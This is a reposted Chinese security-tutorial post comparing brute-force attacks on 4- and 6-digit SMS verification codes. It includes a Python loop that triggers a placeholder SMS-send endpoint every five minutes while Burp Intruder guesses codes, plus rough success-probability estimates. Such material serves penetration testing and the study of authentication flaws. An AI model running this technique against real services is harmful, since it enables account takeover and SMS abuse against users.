四位和六位短信验证码爆破方法比较

Posted Kali研究社区KaliStudy

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了四位和六位短信验证码爆破方法比较相关的知识,希望对你有一定的参考价值。

0x01 前提

1、短信发送接口可以频繁调用
2、短信存在有效期限制,如5分钟过期
3、短信验证接口可重复调用

0x02 四位短信验证码爆破

一共有9999种可能,因此遍历就可以,不多做介绍。

0x03 六位短信验证码爆破

一共999999种可能,在5分钟内遍历999999次,基本是不可能的,这里需要高性能服务器,或者多台低性能服务器。
这里介绍个小技巧

  • 一个脚本调用短信发送接口,每5分钟发送一条新验证码,保证每时每刻都存在有效的验证码。

  • 另一个脚本(或使用burp intruder),随机爆破6位验证码。

我们计算下爆破成功的概率:
假如5分钟可以发送1W个请求,就有1%的概率在5分钟内成功。
如果连续爆破120分钟,成功概率是24%。

代码示例

import requests
import time,datetime

def send():
burp0_url = "http://www.xxx.com"
burp0_headers = {"Accept": "application/json, text/plain, */*", "Origin": "http://www.xxx.com", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/75.0.3770.142 Safari/537.36", "Content-Type": "application/json", "Referer": "http://www.xxx.com/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,und;q=0.7,so;q=0.6,es;q=0.5,zh-TW;q=0.4,pt;q=0.3,ja;q=0.2,mt;q=0.1,lb;q=0.1", "Connection": "close"}
burp0_json={"mobile": "13100000000", "mobilePrefix": "86"}
resp = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') + ": " + resp.text)

if __name__ == '__main__':
while(True):
send()
time.sleep(300)


以上是关于四位和六位短信验证码爆破方法比较的主要内容,如果未能解决你的问题,请参考以下文章

逻辑漏洞之手机验证码设计缺陷

用c语言编程求 18位 身份证的验证码

原创干货 | Java代码审计之图形验证码模块

怎么写4位数的短信验证码?

任意用户密码重置的10种姿势

逻辑漏洞---登录验证码安全